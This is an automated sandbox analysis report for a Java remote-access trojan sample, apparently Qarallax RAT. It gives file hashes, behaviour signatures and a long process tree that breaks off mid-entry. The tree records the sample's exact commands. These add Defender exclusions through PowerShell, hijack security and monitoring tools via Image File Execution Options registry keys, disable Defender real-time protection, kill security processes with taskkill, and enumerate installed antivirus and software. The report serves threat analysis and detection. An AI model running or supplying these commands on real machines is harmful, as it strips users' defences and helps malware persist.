Analysis

  • max time kernel
    62s
  • max time network
    65s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    06-08-2020 07:53

General

  • Target

    REN42159.jar

  • Size

    401KB

  • MD5

    dc91a54b2286a05af54711ba5139a897

  • SHA1

    ef36e7172287d286e7465442209d23d0d14ebf2e

  • SHA256

    ddc0264f82a81e5c3070a77887e7840f0fbde2949b742b74381fe8ec39daa9b8

  • SHA512

    a46142c6df8d614db6a0225d73dd72d73fd64e0a89b43f7d5da10d552f70c2f9d4aa9854e1ee68214c2c7f70d890374bf2853fbfcc39ecabef30c2fe71a10037

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • QarallaxRAT

    Qarallax is a RAT developed by Quaverse and sold as RaaS (RAT as a Service).

  • Qarallax RAT support DLL 1 IoCs
  • Sets file execution options in registry 2 TTPs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Drops desktop.ini file(s) 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Kills process with taskkill 17 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 123 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 398 IoCs
  • Views/modifies file attributes 1 TTPs 8 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\REN42159.jar
    1⤵
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3488
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe
      2⤵
        PID:1652
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2324
        • C:\Windows\System32\Wbem\WMIC.exe
          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2648
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2696
        • C:\Windows\System32\Wbem\WMIC.exe
          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3596
      • C:\Windows\SYSTEM32\attrib.exe
        attrib +h C:\Users\Admin\Oracle
        2⤵
        • Views/modifies file attributes
        PID:3712
      • C:\Windows\SYSTEM32\attrib.exe
        attrib +h +r +s C:\Users\Admin\.ntusernt.ini
        2⤵
        • Views/modifies file attributes
        PID:3576
      • C:\Windows\SYSTEM32\attrib.exe
        attrib -s -r C:\Users\Admin\tHFwB\Desktop.ini
        2⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:3688
      • C:\Windows\SYSTEM32\attrib.exe
        attrib +s +r C:\Users\Admin\tHFwB\Desktop.ini
        2⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:2064
      • C:\Windows\SYSTEM32\attrib.exe
        attrib -s -r C:\Users\Admin\tHFwB
        2⤵
        • Views/modifies file attributes
        PID:3784
      • C:\Windows\SYSTEM32\attrib.exe
        attrib +s +r C:\Users\Admin\tHFwB
        2⤵
        • Views/modifies file attributes
        PID:852
      • C:\Windows\SYSTEM32\attrib.exe
        attrib +h C:\Users\Admin\tHFwB
        2⤵
        • Views/modifies file attributes
        PID:812
      • C:\Windows\SYSTEM32\attrib.exe
        attrib +h +s +r C:\Users\Admin\tHFwB\YIYZS.class
        2⤵
        • Views/modifies file attributes
        PID:1128
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2116
        • C:\Windows\system32\reg.exe
          reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:64
          3⤵
            PID:1588
          • C:\Windows\system32\reg.exe
            reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:32
            3⤵
              PID:1076
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\tHFwB','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\tHFwB\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3020
          • C:\Windows\System32\reg.exe
            "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
            2⤵
              PID:4048
            • C:\Windows\System32\reg.exe
              "C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "1" /f
              2⤵
                PID:3880
              • C:\Windows\System32\reg.exe
                "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
                2⤵
                  PID:1432
                • C:\Windows\System32\taskkill.exe
                  "C:\Windows\System32\taskkill.exe" /IM "ProcessHacker.exe" /T /F
                  2⤵
                  • Kills process with taskkill
                  PID:2784
                • C:\Windows\System32\reg.exe
                  "C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".avi;.bat;.com;.cmd;.exe;.htm;.html;.lnk;.mpg;.mpeg;.mov;.mp3;.msi;.m3u;.rar;.reg;.txt;.vbs;.wav;.zip;.jar;" /f
                  2⤵
                    PID:2776
                  • C:\Windows\System32\reg.exe
                    "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
                    2⤵
                      PID:1256
                    • C:\Windows\System32\reg.exe
                      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_SZ /d "-" /f
                      2⤵
                        PID:1744
                      • C:\Windows\System32\reg.exe
                        "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
                        2⤵
                          PID:3788
                        • C:\Windows\System32\reg.exe
                          "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
                          2⤵
                            PID:1080
                          • C:\Windows\System32\reg.exe
                            "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d "-" /f
                            2⤵
                              PID:1412
                            • C:\Windows\System32\reg.exe
                              "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
                              2⤵
                                PID:1156
                              • C:\Windows\System32\reg.exe
                                "C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Environment" /v "SEE_MASK_NOZONECHECKS" /t REG_SZ /d "1" /f
                                2⤵
                                  PID:3904
                                • C:\Windows\System32\reg.exe
                                  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v "SEE_MASK_NOZONECHECKS" /t REG_SZ /d "1" /f
                                  2⤵
                                    PID:2164
                                  • C:\Windows\System32\reg.exe
                                    "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
                                    2⤵
                                      PID:404
                                    • C:\Windows\System32\reg.exe
                                      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                      2⤵
                                        PID:3684
                                      • C:\Windows\System32\reg.exe
                                        "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
                                        2⤵
                                          PID:1748
                                        • C:\Windows\System32\reg.exe
                                          "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
                                          2⤵
                                            PID:2776
                                          • C:\Windows\System32\reg.exe
                                            "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                            2⤵
                                              PID:3064
                                            • C:\Windows\System32\taskkill.exe
                                              "C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F
                                              2⤵
                                              • Kills process with taskkill
                                              PID:1316
                                            • C:\Windows\System32\reg.exe
                                              "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
                                              2⤵
                                                PID:1276
                                              • C:\Windows\System32\reg.exe
                                                "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:3000
                                                • C:\Windows\System32\reg.exe
                                                  "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
                                                  2⤵
                                                    PID:3788
                                                  • C:\Windows\System32\reg.exe
                                                    "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:4112
                                                    • C:\Windows\System32\reg.exe
                                                      "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
                                                      2⤵
                                                        PID:4208
                                                      • C:\Windows\System32\reg.exe
                                                        "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
                                                        2⤵
                                                          PID:4304
                                                        • C:\Windows\System32\reg.exe
                                                          "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
                                                          2⤵
                                                            PID:4432
                                                          • C:\Windows\System32\reg.exe
                                                            "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
                                                            2⤵
                                                              PID:4492
                                                            • C:\Windows\System32\reg.exe
                                                              "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
                                                              2⤵
                                                                PID:4532
                                                              • C:\Windows\System32\reg.exe
                                                                "C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
                                                                2⤵
                                                                  PID:4612
                                                                • C:\Windows\System32\taskkill.exe
                                                                  "C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F
                                                                  2⤵
                                                                  • Kills process with taskkill
                                                                  PID:4676
                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                  cmd.exe
                                                                  2⤵
                                                                    PID:4688
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:64
                                                                      3⤵
                                                                        PID:4844
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:32
                                                                        3⤵
                                                                          PID:4904
                                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                                        cmd.exe
                                                                        2⤵
                                                                          PID:4932
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:64
                                                                            3⤵
                                                                              PID:4968
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:32
                                                                              3⤵
                                                                                PID:5036
                                                                            • C:\Windows\System32\taskkill.exe
                                                                              "C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F
                                                                              2⤵
                                                                              • Kills process with taskkill
                                                                              PID:4996
                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                              cmd.exe
                                                                              2⤵
                                                                                PID:5080
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:64
                                                                                  3⤵
                                                                                    PID:5116
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:32
                                                                                    3⤵
                                                                                      PID:1244
                                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                                    cmd.exe
                                                                                    2⤵
                                                                                      PID:4020
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:64
                                                                                        3⤵
                                                                                          PID:3904
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:32
                                                                                          3⤵
                                                                                            PID:4128
                                                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                                                          cmd.exe
                                                                                          2⤵
                                                                                            PID:1008
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:64
                                                                                              3⤵
                                                                                                PID:4192
                                                                                              • C:\Windows\system32\reg.exe
                                                                                                reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:32
                                                                                                3⤵
                                                                                                  PID:2776
                                                                                              • C:\Windows\System32\taskkill.exe
                                                                                                "C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F
                                                                                                2⤵
                                                                                                • Kills process with taskkill
                                                                                                PID:4228
                                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                                cmd.exe
                                                                                                2⤵
                                                                                                  PID:2788
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:64
                                                                                                    3⤵
                                                                                                      PID:772
                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                      reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:32
                                                                                                      3⤵
                                                                                                        PID:1236
                                                                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                                                                      cmd.exe
                                                                                                      2⤵
                                                                                                        PID:4312
                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                          reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:64
                                                                                                          3⤵
                                                                                                            PID:4268
                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                            reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:32
                                                                                                            3⤵
                                                                                                              PID:3064
                                                                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                                                                            cmd.exe
                                                                                                            2⤵
                                                                                                              PID:1360
                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:64
                                                                                                                3⤵
                                                                                                                  PID:4152
                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                  reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:4284
                                                                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                  cmd.exe
                                                                                                                  2⤵
                                                                                                                    PID:4264
                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                      reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:4512
                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:4180
                                                                                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                        cmd.exe
                                                                                                                        2⤵
                                                                                                                          PID:4292
                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                            reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:64
                                                                                                                            3⤵
                                                                                                                              PID:4464
                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                              reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:2248
                                                                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                              cmd.exe
                                                                                                                              2⤵
                                                                                                                                PID:4412
                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                  reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:4224
                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:32
                                                                                                                                    3⤵
                                                                                                                                      PID:4496
                                                                                                                                  • C:\Windows\System32\taskkill.exe
                                                                                                                                    "C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F
                                                                                                                                    2⤵
                                                                                                                                    • Kills process with taskkill
                                                                                                                                    PID:4436
                                                                                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                    cmd.exe
                                                                                                                                    2⤵
                                                                                                                                      PID:2312
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:4752
                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                          reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:4632
                                                                                                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                          cmd.exe
                                                                                                                                          2⤵
                                                                                                                                            PID:4584
                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                              reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:64
                                                                                                                                              3⤵
                                                                                                                                                PID:1316
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:4864
                                                                                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                cmd.exe
                                                                                                                                                2⤵
                                                                                                                                                  PID:4680
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:64
                                                                                                                                                    3⤵
                                                                                                                                                      PID:4744
                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                      reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:32
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3372
                                                                                                                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                      cmd.exe
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1144
                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                          reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:64
                                                                                                                                                          3⤵
                                                                                                                                                            PID:4924
                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                            reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:4948
                                                                                                                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                            cmd.exe
                                                                                                                                                            2⤵
                                                                                                                                                              PID:4972
                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:64
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:5096
                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                  reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:32
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:612
                                                                                                                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                  cmd.exe
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:5056
                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                      reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:64
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:5016
                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:32
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:1904
                                                                                                                                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                        cmd.exe
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:3856
                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                            reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:64
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:1432
                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                              reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:32
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:1148
                                                                                                                                                                            • C:\Windows\System32\taskkill.exe
                                                                                                                                                                              "C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                              PID:3892
                                                                                                                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                              cmd.exe
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:2776
                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                  reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:64
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:1268
                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:32
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:2608
                                                                                                                                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                    cmd.exe
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:1608
                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                        reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:64
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:4160
                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                          reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:32
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:3064
                                                                                                                                                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                          cmd.exe
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:4372
                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                              reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:64
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:4332
                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:32
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:4520
                                                                                                                                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                cmd.exe
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:4180
                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:64
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:4560
                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                      reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:32
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:4504
                                                                                                                                                                                                    • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      "C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                      PID:4356
                                                                                                                                                                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                      cmd.exe
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:4616
                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                          reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:64
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:4540
                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                            reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:32
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:4728
                                                                                                                                                                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                            cmd.exe
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:4168
                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:64
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:4864
                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
